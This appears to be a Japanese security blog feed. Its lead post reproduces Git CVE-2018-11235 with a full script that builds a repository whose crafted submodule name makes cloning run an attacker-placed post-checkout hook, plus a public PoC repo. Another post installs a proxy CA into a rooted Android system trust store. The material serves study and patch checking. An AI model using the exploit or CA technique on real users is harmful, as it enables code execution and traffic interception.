Gitの脆弱性(CVE-2018-11235)を雑に調べた
先日、Gitの脆弱性(CVE-2018-11235)が発表されました。
NVDのDescriptionには以下のように説明されています。
In Git before 2.13.7, 2.14.x before 2.14.4, 2.15.x before 2.15.2, 2.16.x before 2.16.4, and 2.17.x before 2.17.1, remote code execution can occur. With a crafted .gitmodules file, a malicious project can execute an arbitrary script on a machine that runs "git clone --recurse-submodules" because submodule "names" are obtained from this file, and then appended to $GIT_DIR/modules, leading to directory traversal with "../" in a name. Finally, post-checkout hooks from a submodule are executed, bypassing the intended design in which hooks are not obtained from a remote server.
細工された.gitmoduleのあるプロジェクトをgit clone --recurse-submodulesすると、攻撃者が用意した任意のスクリプトの実行につながるとのこと。サブモジュールの名前は、.gitmoduleから取得され、名前に../使うことでディレクトリトラバーサルをすることができ、攻撃者の用意したpost-checkoutのhookが実行されてしまうようです。
この脆弱性のGitの修正コミットは以下にあります。
Credit for finding this vulnerability and the proof of concept from which the test script was adapted goes to Etienne Stalmans.
コメントにもありますが、修正コミットのテストコードにPoCが含まれています。
テストコードのPoCを参考に自分の環境で脆弱性の再現を行いました。
git/t7415-submodule-names.sh at 0383bbb9015898cbc79abd7b64316484d7713b44 · git/git · GitHub
環境
実行環境とGitのバージョンとか。
$ uname -a Darwin MacMini 17.5.0 Darwin Kernel Version 17.5.0: Fri Apr 13 19:32:32 PDT 2018; root:xnu-4570.51.2~1/RELEASE_X86_64 x86_64 $ sw_vers -productVersion 10.13.4 $ git --version git version 2.14.3 (Apple Git-98)
脆弱性の有無の確認方法
submodule名に../が含まれる際に弾かれるかどうかで確認可能です。
脆弱性あり
$ git --version git version 2.14.3 (Apple Git-98) $ git submodule add --name ../../modules/evil https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git evil Cloning into '/Users/saso/tmp/bbb/fuga/test/fuga/evil'... remote: Counting objects: 46, done. remote: Compressing objects: 100% (33/33), done. remote: Total 46 (delta 1), reused 0 (delta 0) Unpacking objects: 100% (46/46), done.
脆弱性対応済み
$ git --version git version 2.17.1 $ git submodule add --name ../../modules/evil https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git evil '../../modules/evil' is not a valid submodule name
もっと手軽に、これでエラーが出るかどうかでも確かめることができるそうです(エラーが出れば対策済み)。
git init test && \ cd test && \ git update-index --add --cacheinfo 120000,e69de29bb2d1d6434b8b29ae775ad8c2e48c5391,.gitmodules
Edward Thomson: Upgrading git for the May 2018 Security Release
悪意あるレポジトリの作成
悪意あるレポジトリは以下のようなshell scriptで作成可能です。
CVE-2018-11235.sh
#!/bin/sh # 悪意あるsubmoduleを含んだレポジトリ用のディレクトリを作成する mkdir evil_repo cd evil_repo git init # ここで追加するのは別になんでも良い git submodule add https://github.com/otms61/innocent.git evil # 正常な.git/modules/evilから攻撃コードを置く用の./modules/evilを用意する mkdir modules cp -r .git/modules/evil modules # hookにセットするスクリプトを用意する echo '#!/bin/sh' > modules/evil/hooks/post-checkout echo 'echo >&2 "RUNNING POST CHECKOUT"' >> modules/evil/hooks/post-checkout chmod +x modules/evil/hooks/post-checkout git add modules git commit -am evil # もとのPoCで設定されてたがよくわかっていない。。なくてもとりあえず動く。 git config -f .gitmodules submodule.evil.update checkout # submoduleの名前をevilから ../../modules/evilに変更する git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil # .git/moduleの下に何かないとcheckoutに失敗するので、普通のやつも用意してあげる git submodule add https://github.com/otms61/innocent.git another-module git add another-module git commit -am another git add .gitmodules git commit -am .gitmodule
簡単にですがsubmoduleの設定とhookのスクリプトについて説明を補足します。
submodule名を../../modules/evilにする
雑にコメントを書きましたが、
git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil
で、submodule 名をevilから../../modules/evilに変更しています。
git config [<file-option>] --rename-section old_name new_name
.
が3連続で、ちょっとわかりにくいですが、nameの形式がsubmodule.<module名>のせいです。
.gitmoduleはこのようになっています。
$ cat evil_repo/.gitmodules [submodule "../../modules/evil"] path = evil url = https://github.com/otms61/innocent.git update = checkout [submodule "another-module"] path = another-module url = https://github.com/otms61/innocent.git
hookのスクリプトを用意する
hookのスクリプトを探すロジックを正確に確認はできていないのですが、以下のような感じだと予想しています。 hookスクリプトを探す場合、
evil_repo/.git/modules/${submodule_name}/hooks/post-checkout
に置かれたスクリプトを探してると思われますが、このsubmodule_nameを../../modules/evilとすることで、
evil_repo/.git/modules/../../modules/evil/hooks/post-checkout # つまり以下のパス evil_repo/modules/evil/hooks/post-checkout
と、hookのスクリプトを.git配下から、レポジトリ上に置かれたスクリプトに向けることができます。この向き先に攻撃者がスクリプトを用意しておくことで、hookからスクリプトを実行することができます。
また、post-checkoutの内容はこのようになっています。
$ cat evil_repo/modules/evil/hooks/post-checkout #!/bin/sh echo >&2 "RUNNING POST CHECKOUT"
動作確認
./CVE-2018-11235.sh でローカルにevil_repoというレポジトリを作成し、これを--recurse-submodulesでcloneします。
$ ./CVE-2018-11235.sh ・・・ $ git clone --recurse-submodules evil_repo test Cloning into 'test'... done. Submodule 'another-module' (https://github.com/otms61/innocent.git) registered for path 'another-module' Submodule '../../modules/evil' (https://github.com/otms61/innocent.git) registered for path 'evil' Cloning into '/private/tmp/test/another-module'... remote: Counting objects: 3, done. remote: Total 3 (delta 0), reused 3 (delta 0), pack-reused 0 Submodule path 'another-module': checked out '8d0ef81b89520c725065da10b4ee76568425daa5' RUNNING POST CHECKOUT Submodule path 'evil': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'
終わりの方で、 RUNNING POST CHECKOUT
と出力されていることがわかりますね!
GitHubは対策されてた。すごい!
GitHubに、上記で作成したコードをあげようとしたら弾かれてしまいました。GitHubすごい!
$ git remote add origin git@github.com:otms61/CVE-2018-11235.git $ git push origin master Counting objects: 47, done. Delta compression using up to 4 threads. Compressing objects: 100% (34/34), done. Writing objects: 100% (47/47), 10.53 KiB | 1.50 MiB/s, done. Total 47 (delta 1), reused 0 (delta 0) fatal: The remote end hung up unexpectedly fatal: The remote end hung up unexpectedly
他のところはあげられたので、試したいという方は以下でも試すことはできます。
otameshi61 / CVE-2018-11235 / source / — Bitbucket
echoするスクリプトを置いてるだけですが、実行する場合は自己責任でお願いします。
$ git clone --recurse-submodules https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git 2>&1 | grep POST RUNNING POST CHECKOUT
対策されたバージョンのgitだとこんな感じになります。スクリプトも動いてないことがわかります。
$ git --version git version 2.17.1 $ git clone --recurse-submodules https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git 2>&1 Cloning into 'cve-2018-11235'... remote: Counting objects: 46, done. remote: Compressing objects: 100% (33/33), done. remote: Total 46 (delta 1), reused 0 (delta 0) Unpacking objects: 100% (46/46), done. warning: ignoring suspicious submodule name: ../../modules/evil warning: ignoring suspicious submodule name: ../../modules/evil warning: ignoring suspicious submodule name: ../../modules/evil Submodule 'another-module' (https://github.com/otms61/innocent.git) registered for path 'another-module' warning: ignoring suspicious submodule name: ../../modules/evil warning: ignoring suspicious submodule name: ../../modules/evil warning: ignoring suspicious submodule name: ../../modules/evil Cloning into '/Users/saso/tmp/bbb/cve-2018-11235/another-module'... remote: Counting objects: 3, done. remote: Total 3 (delta 0), reused 3 (delta 0), pack-reused 0 warning: ignoring suspicious submodule name: ../../modules/evil warning: ignoring suspicious submodule name: ../../modules/evil warning: ignoring suspicious submodule name: ../../modules/evil Submodule path 'another-module': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'
感想
発見された方が以下のツイートをされていて、来週公開予定とのこと。楽しみですね。
Patches for git have been released, fixing cve-2018-11235, a RCE vulnerability I found!
— Etienne Stalmans (@_staaldraad) 2018年5月29日
I'll publish a write-up next week describing the vuln and how this gave me RCE on GitHub Pages.https://t.co/lQSNThBRi8
kubernetesのGitRepo volume optionオプションで、node上のrootが取れるらしい。 www.youtube.com
今回の脆弱性は、redditが比較的盛り上がってるなぁとながめていました。 www.reddit.com
ちょっと前にあったサブモジュールの脆弱性みたいな感じでかなぁと思いつつ、ディレクトリトラバーサルからどうやって攻撃につなげるんだ?という疑問から調べていました。 サブモジュールの管理情報を.gitから外側に向けるのは鮮やかだなと感じました。
おしまい。
GoでAndroidのコマンドラインツールをビルドする方法
AndroidのRoot化端末などでコマンドラインツールを作りたい時にGoを使いたくて少しはまったので、その時のメモです。
ビルドするマシンは、macOS 10.13.4で、動作確認するAndroidは、HUAWE MediaPad M5のAndroid 8.0.0です。
package main import "fmt" func main() { fmt.Printf("Hello World\n") }
ビルドするときのオプションで、armを指定します。クロスコンパイル時にはCGOデフォルトで切られているそうですが、オプションでも指定しておきます。
cgo - The Go Programming Language
$ GOOS=linux GOARCH=arm GOARM=7 CGO_ENABLED=0 go build $ ls hello main.go $ file hello hello: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, with debug_info, not stripped $ adb push hello /data/local/tmp/ [100%] /data/local/tmp/hello $ adb shell /data/local/tmp/hello Hello World $
AWS KMSをさわってみた
AESなどの対称鍵暗号でデータを暗号化すると、データを読み取ることができる対象を鍵を知ってるものだけにすることができる。 そのため、何かのデータを暗号化したとき、暗号化に使用した鍵がどのように管理されているかはとても重要となります。
鍵管理は、ファイルのパーミッションで読めるuserを制限したりすることが多いですが、Amazonの提供するAWS KMSというサービスを用いて鍵管理(データキーを生成、暗号化、復号)を行ってみます。
主に以下のページを参考にしました。サンプルコードでは、エンベロープ暗号化と呼ばれているものを試しています。
AWSのAPI呼び出しはpythonのbotoというライブラリを使った。
KMSでキーの作成と、アカウントに権限付与などは以下のリンクを参考にした。
キー生成と暗号化
AES周りは今回はあまり重要じゃないので、ブロック長ぴったし(16バイト)の文字列を1ブロック暗号化する。鍵にはAWS KMSで生成した値を使用する。
#!/usr/bin/env python import base64 from boto import kms from Crypto.Cipher import AES conn = kms.connect_to_region('us-east-1') arn = 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222' data_key = conn.generate_data_key(arn, key_spec='AES_128') print(data_key) # 16 bytes plaintext = b'Hello, World!!!!' encrypter = AES.new(data_key['Plaintext']) encrypted_data = base64.b64encode(encrypter.encrypt(plaintext)) print(encrypted_data)
※ botoは、 ~/.boto
からAPIの認証情報を読み込んでる。
出力
{'CiphertextBlob': b"\x01\x02\x03\x00x6#\xcde\xbb'2d\x9d\xb1?\xf3<\x1a\xddI\xf9Zo\xb65\xd9\xa8\x1b\xd97\x03Q\x87\xf4\xd7\xd1\x01\x88\x93P\xb6\xaf\xd1YYuP\x13]\n\x17F \x00\x00\x00n0l\x06\t*\x86H\x86\xf7\r\x01\x07\x06\xa0_0]\x02\x01\x000X\x06\t*\x86H\x86\xf7\r\x01\x07\x010\x1e\x06\t`\x86H\x01e\x03\x04\x01.0\x11\x04\x0c\xb1y\xbbj\xb4i;}\xd3dw\xf9\x02\x01\x10\x80+<\x1e!o\x17\x12\x84\xfdh\xfe\x89\x05w\xc2\xa5\xado\x0c\x9aF9D\x8a\xeb\x1d\x19\xe5\xaf\xeeP\xb5\xb2\xd5H\xef4\x8f\xcd\x10\xaf\xf2\xf1\xe0", 'KeyId': 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222', 'Plaintext': b'\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07'} b'2kvkQDMonVYyv3TAwsMbiw=='
data_keyは整形すると、
{ "CiphertextBlob": "\x01\x02\x03\x00x6#\xcde\xbb'2d\x9d\xb1?\xf3<\x1a\xddI\xf9Zo\xb65\xd9\xa8\x1b\xd97\x03Q\x87\xf4\xd7\xd1\x01\x88\x93P\xb6\xaf\xd1YYuP\x13]\n\x17F \x00\x00\x00n0l\x06\t*\x86H\x86\xf7\r\x01\x07\x06\xa0_0]\x02\x01\x000X\x06\t*\x86H\x86\xf7\r\x01\x07\x010\x1e\x06\t`\x86H\x01e\x03\x04\x01.0\x11\x04\x0c\xb1y\xbbj\xb4i;}\xd3dw\xf9\x02\x01\x10\x80+<\x1e!o\x17\x12\x84\xfdh\xfe\x89\x05w\xc2\xa5\xado\x0c\x9aF9D\x8a\xeb\x1d\x19\xe5\xaf\xeeP\xb5\xb2\xd5H\xef4\x8f\xcd\x10\xaf\xf2\xf1\xe0", "KeyId": "arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222", "Plaintext": "\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07" }
AES の鍵長 128bitで鍵を生成すると、CiphertextBlogとKeyIdとPlainTextが返ってきます。
暗号化の鍵にはPlaintextの値を使用します。鍵長が128bitのオプションで生成しているので16バイト(=128bit)なことも確認できます。Plaintextは、暗号化に使用後に保持しません(むしろ保持したらKMS使う意味がない)。 CiphertextBlobは、PlaintextをAWS KMSのマスターキー(KeyIdに紐づく鍵)で暗号化した値となっていて、この値を保持しておきます。暗号文を復号するときに鍵は、CiphertextBlobをマスターキーで復号して鍵を取り出します。
KMSの説明されているサイトで使用されている画像との対応関係は、
https://docs.aws.amazon.com/ja_jp/kms/latest/developerguide/concepts.html
- Plaintext data: Hello, World!!!!
- Encrypted data: 2kvkQDMonVYyv3TAwsMbiw==
- Data Key: Plaintext
- Encrypted data key: CiphertextBlob
となっています。
CiphertextBlobから鍵を取り出すには、このKeyIdにアクセスを許可されているAWSのAPIキーでしか読み出せません。APIキーの作成などは最初の方に書いたブログを参照してください。キーの作成や無効化などはAWSコンソールでぽちぽちしてたら行えます。
マスターキーに対しても、無効化させておくことなども可能です。有事の際や、普段は絶対に使わない情報などは暗号化後に鍵を無効化しておくなどの使い方があるかと思います。
AWSでCloudTrailを有効にしていると、APIの呼び出しで以下のようなログを取ることができます(適当に一部を切り出しています)。記録されるAPI一覧をぱっとみましたが、だいたい重要なもの(たぶん全部...?)はカバーされているようにみえました。 なので、鍵の使用形跡などをログから読み取ることができます。
{ "eventVersion": "1.05", "userIdentity": { "type": "IAMUser", "userName": "saso" }, "eventTime": "2018-01-08T09:32:33Z", "eventSource": "kms.amazonaws.com", "eventName": "GenerateDataKey", "awsRegion": "us-east-1", "userAgent": "Boto/2.48.0 Python/3.6.1 Darwin/16.7.0", "requestParameters": { "keySpec": "AES_128", }, "responseElements": null, "readOnly": true, "eventType": "AwsApiCall", "recipientAccountId": "071542545104" }
AWS KMSを使って鍵を管理する強みは、鍵自体の管理だけでなく、他のAWSの機能と同等にAPIキーの管理、ログ収集もできるあたりかなと思います。
復号
復号できることも確認します。
#!/usr/bin/env python import base64 from boto import kms from Crypto.Cipher import AES conn = kms.connect_to_region('us-east-1') arn = 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222' ciphertext_blob = b"\x01\x02\x03\x00x6#\xcde\xbb'2d\x9d\xb1?\xf3<\x1a\xddI\xf9Zo\xb65\xd9\xa8\x1b\xd97\x03Q\x87\xf4\xd7\xd1\x01\x88\x93P\xb6\xaf\xd1YYuP\x13]\n\x17F \x00\x00\x00n0l\x06\t*\x86H\x86\xf7\r\x01\x07\x06\xa0_0]\x02\x01\x000X\x06\t*\x86H\x86\xf7\r\x01\x07\x010\x1e\x06\t`\x86H\x01e\x03\x04\x01.0\x11\x04\x0c\xb1y\xbbj\xb4i;}\xd3dw\xf9\x02\x01\x10\x80+<\x1e!o\x17\x12\x84\xfdh\xfe\x89\x05w\xc2\xa5\xado\x0c\x9aF9D\x8a\xeb\x1d\x19\xe5\xaf\xeeP\xb5\xb2\xd5H\xef4\x8f\xcd\x10\xaf\xf2\xf1\xe0" data_key = conn.decrypt(ciphertext_blob) print(data_key) # 16 bytes encrypted = base64.b64decode(b'2kvkQDMonVYyv3TAwsMbiw==') decrypter = AES.new(data_key['Plaintext']) decrypted = decrypter.decrypt(encrypted) print(decrypted)
出力
{'KeyId': 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222', 'Plaintext': b'\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07'} b'Hello, World!!!!'
data_keyは以下の値になっている。
{ "KeyId": "arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222", "Plaintext": "\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07" }
また、このKeyIdをdisableにすると以下のようなエラーが返ってくる。
boto.kms.exceptions.DisabledException: DisabledException: 400 Bad Request {'__type': 'DisabledException', 'message': 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222 is disabled.'}
まとめ
AWS KMSを使ってエンベロープ暗号化と呼ばれている暗号化・復号を試してみた。鍵を管理するぞ!、という気持ちになったときに直感的に必要な機能が用意されている印象だった。 鍵へのアクセスが、ちゃんとログとして出力されるのは、個人的には一番良いなと感じた。
参考リンク
他にも以下のようなリンクを参考にしました。
Envelope Encryption using AWS KMS, Python Boto, and PyCrypto. · GitHub
AndroidのプレインストールされたCAにCAを追加する
Android 7以降からCAの扱いが代わり、デフォルトではユーザが追加したカスタムのCAはアプリ毎に設定を書かないと信頼されなった。 システムにプレインストールされたCAは制限することも可能だが、基本的には信頼されている。 以下は、Root化された端末にプレインストールされたCAとして、カスタムのCAを追加する手順メモです(プレとは?)。
android-developers.googleblog.com
自己責任&悪用厳禁でお願いします。
環境
・検証環境
OS: LineageOS 14.1 Android version: 7.1.2 Device model: Nexus7
追加するのはProxyツールのBurp Suiteの証明書。
❯ openssl x509 -inform DER -in cacert.der -text -noout Certificate: Data: Version: 3 (0x2) Serial Number: 1402072607 (0x5391ee1f) Signature Algorithm: sha256WithRSAEncryption Issuer: C=PortSwigger, ST=PortSwigger, L=PortSwigger, O=PortSwigger, OU=PortSwigger CA, CN=PortSwigger CA Validity Not Before: Jun 6 16:36:47 2014 GMT Not After : Jun 6 16:36:47 2037 GMT Subject: C=PortSwigger, ST=PortSwigger, L=PortSwigger, O=PortSwigger, OU=PortSwigger CA, CN=PortSwigger CA Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (2048 bit) Modulus (2048 bit): 00:a2:43:8d:b6:91:10:bc:f9:ea:d9:d3:0c:39:d5: 34:11:dd:ed:d6:0e:76:41:57:85:b0:0d:c6:26:60: 2b:1d:a3:2a:d6:b1:f6:58:fe:3d:9a:70:91:fd:4e: 99:61:84:14:46:3f:22:f4:4e:8a:01:c2:3d:36:1a: 50:2b:17:84:0d:1d:53:8f:ff:ed:15:86:77:4d:6c: 80:c2:3c:12:46:5f:18:08:f9:53:f5:ff:f6:55:2b: 09:96:bd:a3:e9:11:d5:0f:fd:11:15:37:28:17:d8: fa:6a:bb:cc:50:65:13:fa:15:99:10:77:06:12:02: 01:a4:ea:9c:3c:86:e2:00:6c:71:c6:a9:6c:88:17: 5e:2e:f9:29:2c:97:94:4b:94:7c:23:94:78:bf:23: 18:18:a3:29:56:9f:5a:90:e1:a3:8f:2d:48:e9:fb: 11:ac:f9:80:ce:cf:80:a4:37:89:1a:1f:4c:96:fa: 77:d7:fa:da:69:f4:ac:f6:01:16:ea:29:25:4f:50: 16:cc:fe:10:f2:70:de:77:f2:e7:96:6c:00:3e:6e: 37:b9:59:d8:8c:cc:62:da:74:10:b6:6e:a1:df:c5: d6:3d:85:9d:6b:66:4c:d9:db:4b:c2:87:80:57:c2: 1f:80:44:89:04:8a:61:87:c6:69:1f:00:e6:37:0f: 7b:d1 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: critical CA:TRUE, pathlen:0 X509v3 Subject Key Identifier: 34:98:2B:45:74:9A:D6:56:55:64:CE:DA:62:FD:45:0C:4C:3A:D3:57 Signature Algorithm: sha256WithRSAEncryption 9e:2a:ad:2b:26:cf:80:ec:b5:1d:c5:95:05:9e:81:3c:69:4e: 3f:45:f8:ed:32:ce:ae:a3:b6:a3:33:5b:30:49:bd:87:07:32: be:e5:5a:12:0d:9b:31:38:95:3d:6a:33:cc:04:f7:eb:92:70: 76:ea:e7:f4:5c:8e:2d:b6:d1:28:15:0d:27:00:69:fe:3c:e9: 76:26:e6:b1:f8:14:94:51:80:1e:2a:a1:ab:fa:9b:e1:f3:b6: c3:38:0b:43:82:3f:31:9b:fa:50:a5:e2:26:4b:6b:2f:6a:4c: 9f:c6:4b:07:06:fb:ed:65:6e:78:35:77:17:28:35:00:73:77: 7f:f2:c8:1e:3b:f6:39:00:c2:bd:f3:38:c8:e3:20:8e:ce:ab: 3c:d6:ce:d6:ea:4e:01:af:32:42:62:e2:e2:a6:3b:3d:0e:7d: 93:bb:ee:ab:02:f6:09:54:d7:aa:06:69:87:77:c2:0b:5c:94: bf:56:83:e4:09:2f:af:aa:92:3c:42:6b:39:3f:a9:97:55:c1: 08:37:b3:05:d9:70:de:fa:86:fc:b3:0c:89:31:49:20:1b:83: e2:8f:cc:e9:9d:d4:76:40:63:9f:08:de:a9:d8:27:1c:cb:59: de:ec:84:a0:fa:e9:e5:3f:07:c6:a2:ab:96:a0:34:dc:25:e6: 25:19:85:01
カスタムCAの用意
subject_hashの値をとる。
❯ openssl version OpenSSL 0.9.8zh 14 Jan 2016 ❯ openssl x509 -noout -subject_hash -in cacert.der -inform DER 9a5ba575
OpenSSLのバージョンが1.0.0以降の場合は、 -subject_hash
ではなく、 -subject_hash_old
を使うらしい。
PEMフォーマットに変換し、ファイル名を(subject_hashの値 + .0
)で保存する。
❯ openssl x509 -inform DER -in cacert.der -outform PEM > 9a5ba575.0
AndroidにカスタムCAを追加する
AndroidのプレインストールされたCAは、 /system/etc/security/cacerts
に置かれている。ただここに置けば良い。
ただし、最初は /system はread onlyでマウントされているので注意する。
❯ adb push ./9a5ba575.0 /data/local/tmp [100%] /data/local/tmp/9a5ba575.0 ❯ adb shell flo:/ $ su flo:/ # mount -o rw,remount /system flo:/ #mv /data/local/tmp/9a5ba575.0 /system/etc/security/cacerts/
設定 → セキュリティ → 信頼できる認証情報 から確認できる。 再起動した方が良いという情報もあったが、手元の環境では再起動しなくても追加され使用できた。
ファイル名がsubject_hashと異なる値でもUI上には表示されるが参照されないようだった。
まとめ
Burpのルート証明書をAndroidのプレインストールされているフォーマットやファイル名を合わせてインストールした。
開発者がこのようなCAを拒否したい場合は、ネットワーク セキュリティ構成機能を使いプレインストールされたCAに対しても制限がかけることができる。 developer.android.com
YubikeyのPIVを使ってsshしてみる
YubikeyのPIVが気になったのでsshでの使い方を試してみたメモ。 PIV自体については何もわからない。
Yubikeyとはこんな感じのもの。
Yubikey PIV Manager をここから落とす。
https://developers.yubico.com/yubikey-piv-manager/Releases/
webサイトでは、以下のコマンドラインツールを使って説明される。
ただし、macOS上では(たぶん他のOSでも)、ビルドが非常に面倒(./configureが成功してからが勝負)で、ビルドできたとしてもwebサイト通り使っても動作しないため、今回は使わない。 とはいえ、コマンドラインからしか指定できないオプションもあるため、なんとかはしたい。
現時点でのPIVに対する認識は、PKCS#11 で定義されたインターフェースを通じてデバイス内の秘密鍵(今回はYubikey内の秘密鍵)へアクセスし、認証を行うやつ、くらいです。
ここら辺を読むとPIVのプロになれるっぽい。
秘密鍵を生成する
PIV Manager → Certificates を選ぶ。
Authentication → Generate new key…
設定してOKをする
PIN(6〜8桁の文字)を入力する。
これでYubikeyの設定完了。
Export certificate… と Delete certifiacte… が選択できるようになる。
Exportした証明書をみてみるとこんな感じ。
❯ openssl x509 -in yubikey_piv.pem -text -noout Certificate: Data: Version: 3 (0x2) Serial Number: cd:6f:bb:37:07:b4:d0:7f Signature Algorithm: sha256WithRSAEncryption Issuer: CN=saso Validity Not Before: May 21 04:36:59 2017 GMT Not After : May 21 04:36:59 2018 GMT Subject: CN=saso Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (2048 bit) Modulus (2048 bit): 00:95:6c:78:ac:c5:56:73:bb:73:9b:c8:fa:04:2f: 32:ad:95:1a:96:ae:4e:41:5a:8d:09:6a:c9:d9:0e: fb:2f:37:fc:9e:81:ac:91:59:9d:59:52:92:d4:d9: d2:38:96:a9:3d:ed:88:ad:ee:a3:fd:a4:84:de:71: 7f:ee:65:50:75:32:72:aa:75:c2:ca:95:2c:9e:a5: ca:4c:cd:0b:3b:0b:d1:f9:58:00:5d:aa:ce:ec:30: 4b:42:57:f0:ec:92:34:9b:67:96:f5:8d:79:13:8b: c9:bf:2e:a5:8c:99:58:34:43:15:8a:3b:76:88:45: b0:8f:da:52:bc:8c:73:fb:1c:cd:05:47:34:6a:bb: 47:09:e9:8a:a4:cf:bb:58:ae:a7:60:3b:1c:cc:93: 98:fd:b3:9c:67:ee:44:0d:ce:dc:6e:c4:31:fe:c7: c7:98:dc:9b:e2:e0:b5:88:da:2e:e5:20:3f:73:c5: 2d:b4:7b:86:71:d1:81:8b:9e:83:04:46:ad:84:83: 5e:41:53:75:ae:29:b2:b7:5a:33:22:0c:bf:fa:8d: a2:ae:52:05:ae:e2:55:7c:4b:ee:41:38:e8:48:19: 7c:67:c0:09:45:21:b5:ab:c0:aa:33:44:c0:28:4d: 6e:36:53:2a:e0:5e:af:5b:b3:d6:63:9a:84:7a:39: 2a:2d Exponent: 65537 (0x10001)
PIVを使ってsshする
Yubikey内の秘密鍵へアクセスするためには、OpenSCというオープンソースのPKCS#11の実装を使う。
以下のコマンドで公開鍵を読み出せる。
❯ ssh-keygen -D /usr/local/opt/opensc/lib/opensc-pkcs11.so -e ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVbHisxVZzu3ObyPoELzKtlRqWrk5BWo0JasnZDvsvN/yegayRWZ1ZUpLU2dI4lqk97Yit7qP9pITecX/uZVB1MnKqdcLKlSyepcpMzQs7C9H5WABdqs7sMEtCV/DskjSbZ5b1jXkTi8m/LqWMmVg0QxWKO3aIRbCP2lK8jHP7HM0FRzRqu0cJ6Yqkz7tYrqdgOxzMk5j9s5xn7kQNztxuxDH+x8eY3Jvi4LWI2i7lID9zxS20e4Zx0YGLnoMERq2Eg15BU3WuKbK3WjMiDL/6jaKuUgWu4lV8S+5BOOhIGXxnwAlFIbWrwKozRMAoTW42UyrgXq9bs9ZjmoR6OSot
公開鍵をログインしたい.ssh/authrorized_keysに追加する。
❯ ssh -I /usr/local/opt/opensc/lib/opensc-pkcs11.so test@ub.local Enter PIN for 'PIV_II (PIV Card Holder pin)': Last login: Sun May 21 13:06:18 2017 from 192.168.56.1 test@ubuntu:~$
PINを入力することでログインできる。
まとめ
YubikeyがサポートしているPIVを使って見た。
GUIでぽちぽちやってるだけで、基本的な設定が可能で、秘密鍵を安全に管理可能なのはよさそう。 また、sshで使うために特別大変な手順もなくて良い。
PINの入力を無くし、Yubikeyのタッチに変えられるらしいし試したい。
一部で話題のkryptcoも同様の仕組みを使っているし、何か違いがあるのか比較してみたい。 kryptcoは、以下に詳しく説明されている。 qiita.com
劇的にコマンドライン環境が快適になるpetのfishサポートをした話
前に使ったコマンドを実行したいとき、どうしてますか?
普段はfishを使ってるのですが、前に実行したコマンドを再度実行したい場合は、
peco_select_history を ctrl+r
で呼び出すようにしています。
そもそも、fishの補完が優秀なので使うまでもないことは多いです。
bashやzshを使うときは組み込みの ctrl+r
を使っていました。
慣れていれば、特に困りもしないのですが、pet という便利なスニペット管理ツールを使いはじめるとかなりコマンドライン環境が快適になりました!
$ brew install knqyf263/pet/pet
基本的な使い方は、ツール作成者(Teppei Fukudaさん)のブログを見てください。
特に困ってなかったので、入れるかどうかも悩んでたんですが、READMEに書いてあるshellの設定をしてから見方がだいぶ変わりました。
ただし、READMEのzshの設定ではfishで動かなかったため、fisher や oh-my-fish を使って設定できるようにしました。プラグイン管理ツールを使ってない人は雰囲気で ~/.config/fish/functions/
にスクリプト置けば動くと思います。
※ 現在は、以下の方法をpetのREADMEでも紹介してもらってます!ありがとうございます!
fisher を使うと、以下のコマンドでインストールできます。
$ fisher otms61/fish-pet
oh-my-fish を使っている場合は、以下のコマンドでインストールできます。
$ omf install https://github.com/otms61/fish-pet
コマンドラインで、 prev
と pet-select
が使えるようになります。
fish_user_key_bindings
を以下のように設定(layoutオプションはお好みで)すると、 ctrl+s
で、 pet-select
を呼び出すようにできます。
function fish_user_key_bindings bind \cs 'pet-select --layout=bottom-up' end
fishユーザの方は、ぜひ!
二要素認証に使われてるYubico OTP の仕組み
2要素認証に利用できるデバイスに、Yubico社が提供するYubikeyというものがあります。
Yubikeyでは様々な機能を使えますが、初期状態で利用できるものにYubico OTP(One-Time password)があります。 Yubico OTPは、非常に安全な仕組みだと思いますが、公式ドキュメントがやや分かりづらいこともあり書きました。
Yubico OTPとは
Yubico OTP は、Yubicoが定めるOTP(One-Time Password)の形式であり、Yubikeyから正常に生成されたOTPかどうかを検証することができます。
このOTPを「私が所持するYubikeyから生成されたものかどうか」を検証することで、二要素認証の要素として利用できます。 sshログインで二要素認証にYubico OTPの使い方は、他の方が書かれているので興味のある方は検索してみてください。
Yubikeyは、USBキーボードとして認識され、円の部分をタップすることでYubico OTPを生成し、キー入力されます。
OTP(One-Time Password)という名前からもわかる通り毎回生成される文字列が異なります。 例えば、2回生成をすると、以下のような文字列が生成されます。
vvvgutvinihgjelnlrctgrvukrkbhtbrrrtugdgndcif vvvgutvinihgjrcnkgkflerfghfdkijiudvltttuntji
異なる文字列が生成されていることがわかるかと思います。
Yubico OTPの検証サーバー
OTPが、Yubikeyから生成されたのか、でたらめな文字列なのかを検証する仕組みがYubico社から提供されています(YubiCloud)。 下図は、password + Yubikeyの2要素認証を行するフローで、青色の部分でOTPをYubiCloudに問い合わせています。
1要素目のpasswordが検証されたあとに、OTPの検証をしていることがわかるかと思います。この2つの要素の認証が両方成功して、この認証は成功になるという流れです。
https://developers.yubico.com/OTP/Libraries/Using_a_library.html
